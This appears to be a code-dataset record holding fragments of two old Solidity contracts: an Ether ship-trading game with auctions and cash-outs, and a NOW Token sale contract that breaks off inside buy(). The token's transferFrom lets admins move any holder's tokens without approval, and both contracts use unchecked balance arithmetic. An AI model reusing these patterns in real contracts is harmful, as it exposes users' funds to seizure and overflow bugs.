require (this.balance >= _amount); // Checking if this contract has enought money to pay
require (_amount > 0);
uint32 lastIndex = ships[_shipID].lastCashoutIndex;
ships[_shipID].lastCashoutIndex = shipProducts[ships[_shipID].productID].amountOfShips; // Changing the amount of funds on the ships's in-game balance
if (!ships[_shipID].owner.send(_amount)){ // Sending funds and if the transaction is failed
ships[_shipID].lastCashoutIndex = lastIndex; // Changing the amount of funds on the ships's in-game balance
}
EventCashOut (msg.sender, _amount);
return;
}
function login (string _hash) public {
EventLogin (msg.sender, _hash);
return;
}
//upgrade ship
// @_upgradeChoice: 0 is for armor, 1 is for damage, 2 is for speed, 3 is for attack speed
function upgradeShip (uint32 _shipID, uint8 _upgradeChoice) public payable {
require (_shipID > 0 && _shipID < newIdShip); // Checking if the ship exists
require (ships[_shipID].owner == msg.sender); // Checking if sender owns this ship
require (_upgradeChoice >= 0 && _upgradeChoice < 4); // Has to be between 0 and 3
require (ships[_shipID].upgrades[_upgradeChoice] < 5); // Only 5 upgrades are allowed for each type of ship's parametres
require (msg.value >= upgradePrice); // Checking if there is enough amount of money for the upgrade
ships[_shipID].upgrades[_upgradeChoice]++; // Upgrading
balances[msg.sender] += msg.value-upgradePrice; // Returning the rest amount of money back to the ship owner
balances[UpgradeMaster] += upgradePrice; // Sending the amount of money spent on the upgrade to the contract creator
EventUpgradeShip (msg.sender, _shipID, _upgradeChoice);
return;
}
// Transfer. Using for sending ships to another players
function _transfer (uint32 _shipID, address _receiver) public {
require (_shipID > 0 && _shipID < newIdShip); // Checking if the ship exists
require (ships[_shipID].owner == msg.sender); //Checking if sender owns this ship
require (msg.sender != _receiver); // Checking that the owner is not sending the ship to himself
require (ships[_shipID].selling == false); //Making sure that the ship is not on the auction now
ships[_shipID].owner = _receiver; // Changing the ship's owner
ships[_shipID].earner = _receiver; // Changing the ship's earner address
EventTransfer (msg.sender, _receiver, _shipID);
return;
}
// Transfer Action. Using for sending ships to EtherArmy's contracts. For example, the battle-area contract.
function _transferAction (uint32 _shipID, address _receiver, uint8 _ActionType) public {
require (_shipID > 0 && _shipID < newIdShip); // Checking if the ship exists
require (ships[_shipID].owner == msg.sender); // Checking if sender owns this ship
require (msg.sender != _receiver); // Checking that the owner is not sending the ship to himself
require (ships[_shipID].selling == false); // Making sure that the ship is not on the auction now
ships[_shipID].owner = _receiver; // Changing the ship's owner
// As you can see, we do not change the earner here.
// It means that technically speaking, the ship's owner is still getting his earnings.
// It's logically that this method (transferAction) will be used for sending ships to the battle area contract or some other contracts which will be interacting with ships
// Be careful with this method! Do not call it to transfer ships to another player!
// The reason you should not do this is that the method called "transfer" changes the owner and earner, so it is possible to change the earner address to the current owner address any time.
// However, for our special contracts like battle area, you are able to read this contract and make sure that your ship will not be sent to anyone else, only back to you.
// So, please, do not use this method to send your ships to other players. Use it just for interacting with Etherships' contracts, which will be listed on Etherships.com
EventTransferAction (msg.sender, _receiver, _shipID, _ActionType);
return;
}
//selling
function sellShip (uint32 _shipID, uint256 _startPrice, uint256 _finishPrice, uint256 _duration) public {
require (_shipID > 0 && _shipID < newIdShip);
require (ships[_shipID].owner == msg.sender);
require (ships[_shipID].selling == false); // Making sure that the ship is not on the auction already
require (_startPrice >= _finishPrice);
require (_startPrice > 0 && _finishPrice >= 0);
require (_duration > 0);
require (_startPrice == uint256(uint128(_startPrice))); // Just some magic stuff
require (_finishPrice == uint256(uint128(_finishPrice))); // Just some magic stuff
auctions[newIdAuctionEntity] = AuctionEntity(_shipID, _startPrice, _finishPrice, now, _duration);
ships[_shipID].selling = true;
ships[_shipID].auctionEntity = newIdAuctionEntity++;
EventAuction (msg.sender, _shipID, _startPrice, _finishPrice, _duration, now);
}
//bidding function, people use this to buy ships
function bid (uint32 _shipID) public payable {
require (_shipID > 0 && _shipID < newIdShip); // Checking if the ship exists
require (ships[_shipID].selling == true); // Checking if this ships is on the auction now
AuctionEntity memory currentAuction = auctions[ships[_shipID].auctionEntity]; // The auction entity for this ship. Just to make the line below easier to read
uint256 currentPrice = currentAuction.startPrice-(((currentAuction.startPrice-currentAuction.finishPrice)/(currentAuction.duration))*(now-currentAuction.startTime));
// The line above calculates the current price using the formula StartPrice-(((StartPrice-FinishPrice)/Duration)*(CurrentTime-StartTime)
if (currentPrice < currentAuction.finishPrice){ // If the auction duration time has been expired
currentPrice = currentAuction.finishPrice; // Setting the current price as finishPrice
}
require (currentPrice >= 0); // Who knows :)
require (msg.value >= currentPrice); // Checking if the buyer sent the amount of money which is more or equal the current price
// All is fine, changing balances and changing ship's owner
uint256 marketFee = (currentPrice/100)*3; // Calculating 3% of the current price as a fee
balances[ships[_shipID].owner] += currentPrice-marketFee; // Giving [current price]-[fee] amount to seller
balances[AuctionMaster] += marketFee; // Sending the fee amount to the contract creator's balance
balances[msg.sender] += msg.value-currentPrice; //Return the rest amount to buyer
ships[_shipID].owner = msg.sender; // Changing the owner of the ship
ships[_shipID].selling = false; // Change the ship status to "not selling now"
delete auctions[ships[_shipID].auctionEntity]; // Deleting the auction entity from the storage for auctions -- we don't need it anymore
ships[_shipID].auctionEntity = 0; // Not necessary, but deleting the ID of auction entity which was deleted in the operation above
EventBid (_shipID);
}
//cancel auction
function cancelAuction (uint32 _shipID) public {
require (_shipID > 0 && _shipID < newIdShip); // Checking if the ship exists
require (ships[_shipID].selling == true); // Checking if this ships is on the auction now
require (ships[_shipID].owner == msg.sender); // Checking if sender owns this ship
ships[_shipID].selling = false; // Change the ship status to "not selling now"
delete auctions[ships[_shipID].auctionEntity]; // Deleting the auction entity from the storage for auctions -- we don't need it anymore
ships[_shipID].auctionEntity = 0; // Not necessary, but deleting the ID of auction entity which was deleted in the operation above
EventCancelAuction (_shipID);
}
function newShipProduct (string _name, uint32 _armor, uint32 _speed, uint32 _minDamage, uint32 _maxDamage, uint32 _attackSpeed, uint8 _league, uint256 _price, uint256 _earning, uint256 _releaseTime) private {
shipProducts[newIdShipProduct++] = ShipProduct(_name, _armor, _speed, _minDamage, _maxDamage, _attackSpeed, _league, _price, _price, _earning, _releaseTime, 0);
}
function buyShip (uint32 _shipproductID) public payable {
require (shipProducts[_shipproductID].currentPrice > 0 && msg.value > 0); //value is more than 0, price is more than 0
require (msg.value >= shipProducts[_shipproductID].currentPrice); //value is higher than price
require (shipProducts[_shipproductID].releaseTime <= now); //checking if this ship was released.
// Basically, the releaseTime was implemented just to give a chance to get the new ship for as many players as possible.
// It prevents the using of bots.
if (msg.value > shipProducts[_shipproductID].currentPrice){
// If player payed more, put the rest amount of money on his balance
balances[msg.sender] += msg.value-shipProducts[_shipproductID].currentPrice;
}
shipProducts[_shipproductID].currentPrice += shipProducts[_shipproductID].earning;
ships[newIdShip++] = ShipEntity (_shipproductID, [0, 0, 0, 0], msg.sender, msg.sender, false, 0, 0, 0, ++shipProducts[_shipproductID].amountOfShips);
// After all owners of the same type of ship got their earnings, admins get the amount which remains and no one need it
// Basically, it is the start price of the ship.
balances[ShipSellMaster] += shipProducts[_shipproductID].startPrice;
EventBuyShip (msg.sender, _shipproductID, newIdShip-1);
return;
}
// Our storage, keys are listed first, then mappings.
// Of course, instead of some mappings we could use arrays, but why not
uint32 public newIdShip = 1; // The next ID for the new ship
uint32 public newIdShipProduct = 1; // The next ID for the new ship type
uint256 public newIdAuctionEntity = 1; // The next ID for the new auction entity
mapping (uint32 => ShipEntity) ships; // The storage
mapping (uint32 => ShipProduct) shipProducts;
mapping (uint256 => AuctionEntity) auctions;
mapping (address => uint) balances;
uint256 public constant upgradePrice = 5000000000000000; // The fee which the UgradeMaster earns for upgrading ships. Fee: 0.005 Eth
function getShipName (uint32 _ID) public constant returns (string){
return shipProducts[_ID].name;
}
function getShipProduct (uint32 _ID) public constant returns (uint32[7]){
return [shipProducts[_ID].armor, shipProducts[_ID].speed, shipProducts[_ID].minDamage, shipProducts[_ID].maxDamage, shipProducts[_ID].attackSpeed, uint32(shipProducts[_ID].releaseTime), uint32(shipProducts[_ID].league)];
}
function getShipDetails (uint32 _ID) public constant returns (uint32[6]){
return [ships[_ID].productID, uint32(ships[_ID].upgrades[0]), uint32(ships[_ID].upgrades[1]), uint32(ships[_ID].upgrades[2]), uint32(ships[_ID].upgrades[3]), uint32(ships[_ID].exp)];
}
function getShipOwner(uint32 _ID) public constant returns (address){
return ships[_ID].owner;
}
function getShipSell(uint32 _ID) public constant returns (bool){
return ships[_ID].selling;
}
function getShipTotalEarned(uint32 _ID) public constant returns (uint256){
return ships[_ID].earned;
}
function getShipAuctionEntity (uint32 _ID) public constant returns (uint256){
return ships[_ID].auctionEntity;
}
function getCurrentPrice (uint32 _ID) public constant returns (uint256){
return shipProducts[_ID].currentPrice;
}
function getProductEarning (uint32 _ID) public constant returns (uint256){
return shipProducts[_ID].earning;
}
function getShipEarning (uint32 _ID) public constant returns (uint256){
return shipProducts[ships[_ID].productID].earning*(shipProducts[ships[_ID].productID].amountOfShips-ships[_ID].lastCashoutIndex);
}
function getCurrentPriceAuction (uint32 _ID) public constant returns (uint256){
require (getShipSell(_ID));
AuctionEntity memory currentAuction = auctions[ships[_ID].auctionEntity]; // The auction entity for this ship. Just to make the line below easier to read
uint256 currentPrice = currentAuction.startPrice-(((currentAuction.startPrice-currentAuction.finishPrice)/(currentAuction.duration))*(now-currentAuction.startTime));
if (currentPrice < currentAuction.finishPrice){ // If the auction duration time has been expired
currentPrice = currentAuction.finishPrice; // Setting the current price as finishPrice
}
return currentPrice;
}
function getPlayerBalance(address _player) public constant returns (uint256){
return balances[_player];
}
function getContractBalance() public constant returns (uint256){
return this.balance;
}
function howManyShips() public constant returns (uint32){
return newIdShipProduct;
}
}
/*
EtherArmy.com
Ethertanks.com
Etheretanks.com
*/
|
Checking that the owner is not sending the ship to himself
|
require (msg.sender != _receiver);
| 1,837,537
|
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pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract Z_ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract Z_ERC20 is Z_ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token implementation
* @dev Basic version of StandardToken, with no allowances.
*/
contract Z_BasicToken is Z_ERC20Basic {
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token, implementing transfer by agents
*
* @dev Implementation of the basic standard token with allowances.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract Z_StandardToken is Z_ERC20, Z_BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another by agents within allowance limit
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
* @return true
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to by admin , without any allowance limit
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
* @return true
*/
function transferFromByAdmin(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
//require(_value <= 100000);
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
* @return true
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Approve the passed address to spend the specified *additional* amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _addedValue The additional amount of tokens to be spent.
* @return true
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender] + (_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the allownance quota by the specified amount of tokens
*
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to be decreased
* @return true
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue - (_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and multiple admin addresses, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Z_Ownable {
address public owner;
mapping (address => bool) internal admin_accounts;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
// set msg.sender as owner
owner = msg.sender;
// set msg.sender as first administrator
admin_accounts[msg.sender]= true;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner );
_;
}
/**
* @dev check if msg.sender is owner
* @return true if msg.sender is owner
*/
function isOwner() internal view returns (bool) {
return (msg.sender == owner );
}
/**
* @dev Throws if called by any account other than admins.
*/
modifier onlyAdmin() {
require (admin_accounts[msg.sender]==true);
_;
}
/**
* @dev check if msg.sender is admin
* @return true if msg.sender is admin
*/
function isAdmin() internal view returns (bool) {
return (admin_accounts[msg.sender]==true);
}
}
/** @title main contract for NOW token. we should deploy this contract. needs about 5,500,000 gas */
contract NOWToken is Z_StandardToken, Z_Ownable {
string public constant name = "NOW Token";
string public constant symbol = "NOW";
uint8 public constant decimals = 18; // token traded in integer amounts, no period
// total token supply: 3 billion NOW
uint256 internal constant _totalTokenAmount = 3 * (10 ** 9) * (10 ** 18);
uint256 internal constant WEI_PER_ETHER= 1000000000000000000; // 10^18 wei = 1 ether
uint256 internal constant NUM_OF_SALE_STAGES= 5; // support upto five sale stages
// enum type definition for sale status (0 ~ 13)
enum Sale_Status {
Initialized_STATUS, // 0
Stage0_Sale_Started_STATUS, // 1, stage0
Stage0_Sale_Stopped_STATUS, // 2, stage0
Stage1_Sale_Started_STATUS, // 3, stage1
Stage1_Sale_Stopped_STATUS, // 4, stage1
Stage2_Sale_Started_STATUS, // 5, stage2
Stage2_Sale_Stopped_STATUS, // 6, stage2
Stage3_Sale_Started_STATUS, // 7, stage3
Stage3_Sale_Stopped_STATUS, // 8, stage3
Stage4_Sale_Started_STATUS, // 9, stage4
Stage4_Sale_Stopped_STATUS, // 10, stage4
Public_Allowed_To_Trade_STATUS, // 11
Stage0_Allowed_To_Trade_STATUS, // 12
Closed_STATUS // 13
}
// sale status variable: 0 ~ 13 (enum Sale_Status )
Sale_Status public sale_status= Sale_Status.Initialized_STATUS;
// sale stage index : 0 ~ 4 ( 0:1~2, 1:3~4, 2:5~6, 3:7~8, 4:9~10)
uint256 public sale_stage_index= 0; // 0 ~ 4 for stage0 ~ 4
// initiazlied time
uint256 public when_initialized= 0;
// timestamp when public trade begins except stage0
uint256 public when_public_allowed_to_trade_started= 0;
// timestamp when *all* tokens trade begins including stage0
uint256 public when_stage0_allowed_to_trade_started= 0;
// array of sale starting time's timestamp
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_started;
// array of sale stopping time's timestamp
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_stopped;
// sum of all sold tokens
uint256 public sold_tokens_total= 0;
// sum of ethers received during all token sale stages
uint256 public raised_ethers_total= 0;
// array of sold tokens per sale stage
uint256[NUM_OF_SALE_STAGES] public sold_tokens_per_stage;
// array of received ethers per sale stage
uint256[NUM_OF_SALE_STAGES] public raised_ethers_per_stage;
// target ether amount to gather in each sale stage, when fullfilled, the sale stage automatically forced to stop
uint256[NUM_OF_SALE_STAGES] public target_ethers_per_stage= [
1000 * WEI_PER_ETHER, // stage0 for staff
9882 * WEI_PER_ETHER, // stage1 for black sale
11454 * WEI_PER_ETHER, // stage2 for private sale
11200 * WEI_PER_ETHER, // stage3 for public sale
11667 * WEI_PER_ETHER // stage4 for crowd sale
];
// array of token sale price for each stage (wei per now)
uint256[NUM_OF_SALE_STAGES] internal sale_price_per_stage_wei_per_now = [
uint256(1000000000000000000/ uint256(100000)),// stage0 for staff
uint256(1000000000000000000/ uint256(38000)), // stage1 for black sale
uint256(1000000000000000000/ uint256(23000)), // stage2 for private sale
uint256(1000000000000000000/ uint256(17000)), // stage3 for public sale
uint256(1000000000000000000/ uint256(10000)) // stage4 for crowd sale
];
// struct definition for token sale history
struct history_token_sale_obj {
address _buyer;
uint256 _ether_value; // in wei
uint256 _token_value; // in now token
uint256 _when;
}
// struct definition for token transfer history
struct history_token_transfer_obj {
address _from;
address _to;
uint256 _token_value; // in now token
uint256 _when;
}
// struct definition for token burning history
struct history_token_burning_obj {
address _from;
uint256 _token_value_burned; // in now token
uint256 _when;
}
// token sale history for stage 0 ~ 4
history_token_sale_obj[] internal history_token_sale_stage0;
history_token_sale_obj[] internal history_token_sale_stage1;
history_token_sale_obj[] internal history_token_sale_stage2;
history_token_sale_obj[] internal history_token_sale_stage3;
history_token_sale_obj[] internal history_token_sale_stage4;
// token transfer history
history_token_transfer_obj[] internal history_token_transfer;
// token burning history
history_token_burning_obj[] internal history_token_burning;
// token sale amount for each account per stage 0 ~ 4
mapping (address => uint256) internal sale_amount_stage0_account;
mapping (address => uint256) internal sale_amount_stage1_account;
mapping (address => uint256) internal sale_amount_stage2_account;
mapping (address => uint256) internal sale_amount_stage3_account;
mapping (address => uint256) internal sale_amount_stage4_account;
// array for list of holders and their receiving amounts
mapping (address => uint256) internal holders_received_accumul;
// array for list of holders accounts (including even inactive holders)
address[] public holders;
// array for list of sale holders accounts for each sale stage
address[] public holders_stage0_sale;
address[] public holders_stage1_sale;
address[] public holders_stage2_sale;
address[] public holders_stage3_sale;
address[] public holders_stage4_sale;
// array for list of trading holders which are not sale holders
address[] public holders_trading;
// array for list of burning holders accounts
address[] public holders_burned;
// array for list of frozen holders accounts
address[] public holders_frozen;
// burned tokens for each holders account
mapping (address => uint256) public burned_amount;
// sum of all burned tokens
uint256 public totalBurned= 0;
// total ether value withdrawed from this contract by contract owner
uint256 public totalEtherWithdrawed= 0;
// addess to timestamp mapping to mark the account freezing time ( 0 means later unfreezed )
mapping (address => uint256) internal account_frozen_time;
// unused
mapping (address => mapping (string => uint256)) internal traded_monthly;
// cryptocurrency exchange office ether address, for monitorig purpose
address[] public cryptocurrency_exchange_company_accounts;
/////////////////////////////////////////////////////////////////////////
event AddNewAdministrator(address indexed _admin, uint256 indexed _when);
event RemoveAdministrator(address indexed _admin, uint256 indexed _when);
/**
* @dev add new admin accounts
* (run by admin, public function)
* @param _newAdmin new admin address
*/
function z_admin_add_admin(address _newAdmin) public onlyOwner {
require(_newAdmin != address(0));
admin_accounts[_newAdmin]=true;
emit AddNewAdministrator(_newAdmin, block.timestamp);
}
/**
* @dev remove old admin accounts
* (run by admin, public function)
* @param _oldAdmin old admin address
*/
function z_admin_remove_admin(address _oldAdmin) public onlyOwner {
require(_oldAdmin != address(0));
require(admin_accounts[_oldAdmin]==true);
admin_accounts[_oldAdmin]=false;
emit RemoveAdministrator(_oldAdmin, block.timestamp);
}
event AddNewExchangeAccount(address indexed _exchange_account, uint256 indexed _when);
/**
* @dev add new exchange office accounts
* (run by admin, public function)
* @param _exchange_account new exchange address
*/
function z_admin_add_exchange(address _exchange_account) public onlyAdmin {
require(_exchange_account != address(0));
cryptocurrency_exchange_company_accounts.push(_exchange_account);
emit AddNewExchangeAccount(_exchange_account, block.timestamp);
}
event SaleTokenPriceSet(uint256 _stage_index, uint256 _wei_per_now_value, uint256 indexed _when);
/**
* @dev set new token sale price for current sale stage
* (run buy admin, public function)
* return _how_many_wei_per_now new token sale price (wei per now)
*/
function z_admin_set_sale_price(uint256 _how_many_wei_per_now) public
onlyAdmin
{
if(_how_many_wei_per_now == 0) revert();
if(sale_stage_index >= 5) revert();
sale_price_per_stage_wei_per_now[sale_stage_index] = _how_many_wei_per_now;
emit SaleTokenPriceSet(sale_stage_index, _how_many_wei_per_now, block.timestamp);
}
/**
* @dev return current or last token sale price
* (public view function)
* return _sale_price get current token sale price (wei per now)
* return _current_sale_stage_index get current sale stage index ( 0 ~ 4)
*/
function CurrentSalePrice() public view returns (uint256 _sale_price, uint256 _current_sale_stage_index) {
if(sale_stage_index >= 5) revert();
_current_sale_stage_index= sale_stage_index;
_sale_price= sale_price_per_stage_wei_per_now[sale_stage_index];
}
event InitializedStage(uint256 indexed _when);
event StartStage0TokenSale(uint256 indexed _when);
event StartStage1TokenSale(uint256 indexed _when);
event StartStage2TokenSale(uint256 indexed _when);
event StartStage3TokenSale(uint256 indexed _when);
event StartStage4TokenSale(uint256 indexed _when);
/**
* @dev start _new_sale_stage_index sale stage
* (run by admin )
*/
function start_StageN_Sale(uint256 _new_sale_stage_index) internal
{
if(sale_status==Sale_Status.Initialized_STATUS || sale_stage_index+1<= _new_sale_stage_index)
sale_stage_index= _new_sale_stage_index;
else
revert();
sale_status= Sale_Status(1 + sale_stage_index * 2); // 0=>1, 1=>3, 2=>5, 3=>7, 4=>9
when_stageN_sale_started[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StartStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StartStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StartStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StartStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StartStage4TokenSale(block.timestamp);
}
event StopStage0TokenSale(uint256 indexed _when);
event StopStage1TokenSale(uint256 indexed _when);
event StopStage2TokenSale(uint256 indexed _when);
event StopStage3TokenSale(uint256 indexed _when);
event StopStage4TokenSale(uint256 indexed _when);
/**
* @dev stop this [_old_sale_stage_index] sale stage
* (run by admin )
*/
function stop_StageN_Sale(uint256 _old_sale_stage_index) internal
{
if(sale_stage_index != _old_sale_stage_index)
revert();
sale_status= Sale_Status(2 + sale_stage_index * 2); // 0=>2, 1=>4, 2=>6, 3=>8, 4=>10
when_stageN_sale_stopped[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StopStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StopStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StopStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StopStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StopStage4TokenSale(block.timestamp);
}
event StartTradePublicSaleTokens(uint256 indexed _when);
/**
* @dev allow stage1~4 token trading
* (run by admin )
*/
function start_Public_Trade() internal
onlyAdmin
{
// if current sale stage had not been stopped, first stop current active sale stage
Sale_Status new_sale_status= Sale_Status(2 + sale_stage_index * 2);
if(new_sale_status > sale_status)
stop_StageN_Sale(sale_stage_index);
sale_status= Sale_Status.Public_Allowed_To_Trade_STATUS;
when_public_allowed_to_trade_started= block.timestamp;
emit StartTradePublicSaleTokens(block.timestamp);
}
event StartTradeStage0SaleTokens(uint256 indexed _when);
/**
* @dev allow stage0 token trading
* (run by admin )
*/
function start_Stage0_Trade() internal
onlyAdmin
{
if(sale_status!= Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
// allowed 1 year later after stage1 tokens trading is enabled
uint32 stage0_locked_year= 1;
bool is_debug= false; // change to false if this contract source is release version
if(is_debug==false && block.timestamp < stage0_locked_year*365*24*60*60
+ when_public_allowed_to_trade_started )
revert();
if(is_debug==true && block.timestamp < stage0_locked_year*10*60
+ when_public_allowed_to_trade_started )
revert();
sale_status= Sale_Status.Stage0_Allowed_To_Trade_STATUS;
when_stage0_allowed_to_trade_started= block.timestamp;
emit StartTradeStage0SaleTokens(block.timestamp);
}
event CreateTokenContract(uint256 indexed _when);
/**
* @dev token contract constructor(), initialized tokens supply and sale status variables
* (run by owner when contract deploy)
*/
constructor() public
{
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
sale_status= Sale_Status.Initialized_STATUS;
sale_stage_index= 0;
when_initialized= block.timestamp;
holders.push(msg.sender);
holders_received_accumul[msg.sender] += _totalTokenAmount;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
emit InitializedStage(block.timestamp);
emit CreateTokenContract(block.timestamp);
}
/**
* @dev check if specified token transfer request is valid
* ( internal modifier function).
* revert if transfer should be NOT allowed, otherwise do nothing
* @param _from source account from whom tokens should be transferred
* @param _to destination account to whom tokens should be transferred
* @param _value number of tokens to be transferred
*/
modifier validTransaction( address _from, address _to, uint256 _value)
{
require(_to != address(0x0));
require(_to != _from);
require(_value > 0);
if(isAdmin()==false) {
// if _from is frozen account, disallow this request
if(account_frozen_time[_from] > 0) revert();
if(_value == 0 ) revert();
// if token trading is not enabled yet, disallow this request
if(sale_status < Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
// if stage0 token trading is not enabled yet, disallow this request
if( sale_amount_stage0_account[_from] > 0 ) {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS)
revert();
} else {
}
}
_;
}
event TransferToken(address indexed _from_whom,address indexed _to_whom,
uint _token_value, uint256 indexed _when);
event TransferTokenFrom(address indexed _from_whom,address indexed _to_whom, address _agent,
uint _token_value, uint256 indexed _when);
event TransferTokenFromByAdmin(address indexed _from_whom,address indexed _to_whom, address _admin,
uint _token_value, uint256 indexed _when);
/**
* @dev transfer specified amount of tokens from my account to _to account
* (run by self, public function)
* @param _to destination account to whom tokens should be transferred
* @param _value number of tokens to be transferred
* @return _success report if transfer was successful, on failure revert()
*/
function transfer(address _to, uint _value) public
validTransaction(msg.sender, _to, _value)
returns (bool _success)
{
_success= super.transfer(_to, _value);
if(_success==false) revert();
emit TransferToken(msg.sender,_to,_value,block.timestamp);
// check if new trading holder
if(holders_received_accumul[_to]==0x0) {
// new holder comes
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
// leave a transfer history entry
history_token_transfer.push( history_token_transfer_obj( {
_from: msg.sender,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
/**
* @dev transfer specified amount of tokens from _from account to _to account
* (run by agent, public function)
* @param _from client account who approved transaction performed by this sender as agent
* @param _to destination account to whom tokens should be transferred
* @param _value number of tokens to be transferred
* @return _success report if transfer was successful, on failure revert()
*/
function transferFrom(address _from, address _to, uint _value) public
validTransaction(_from, _to, _value)
returns (bool _success)
{
if(isAdmin()==true) {
// admins can transfer tokens of **ANY** accounts
emit TransferTokenFromByAdmin(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFromByAdmin(_from,_to, _value);
}
else {
// approved agents can transfer tokens of their clients (clients shoukd 'approve()' agents first)
emit TransferTokenFrom(_from,_to,msg.sender,_value,block.timestamp);
_success= super.transferFrom(_from, _to, _value);
}
if(_success==false) revert();
// check if new trading holder
if(holders_received_accumul[_to]==0x0) {
// new holder comes
holders.push(_to);
holders_trading.push(_to);
emit NewHolderTrading(_to, block.timestamp);
}
holders_received_accumul[_to] += _value;
// leave a transfer history entry
history_token_transfer.push( history_token_transfer_obj( {
_from: _from,
_to: _to,
_token_value: _value,
_when: block.timestamp
} ) );
}
event IssueTokenSale(address indexed _buyer, uint _ether_value, uint _token_value,
uint _exchange_rate_now_per_wei, uint256 indexed _when);
/**
* @dev fallback function for incoming ether, receive ethers and give tokens back
*/
function () public payable {
buy();
}
event NewHolderTrading(address indexed _new_comer, uint256 indexed _when);
event NewHolderSale(address indexed _new_comer, uint256 indexed _when);
/**
* @dev buy now tokens by sending some ethers to this contract address
* (payable public function )
*/
function buy() public payable {
if(sale_status < Sale_Status.Stage0_Sale_Started_STATUS)
revert();
if(sale_status > Sale_Status.Stage4_Sale_Stopped_STATUS)
revert();
if((uint256(sale_status)%2)!=1) revert(); // not in started sale status
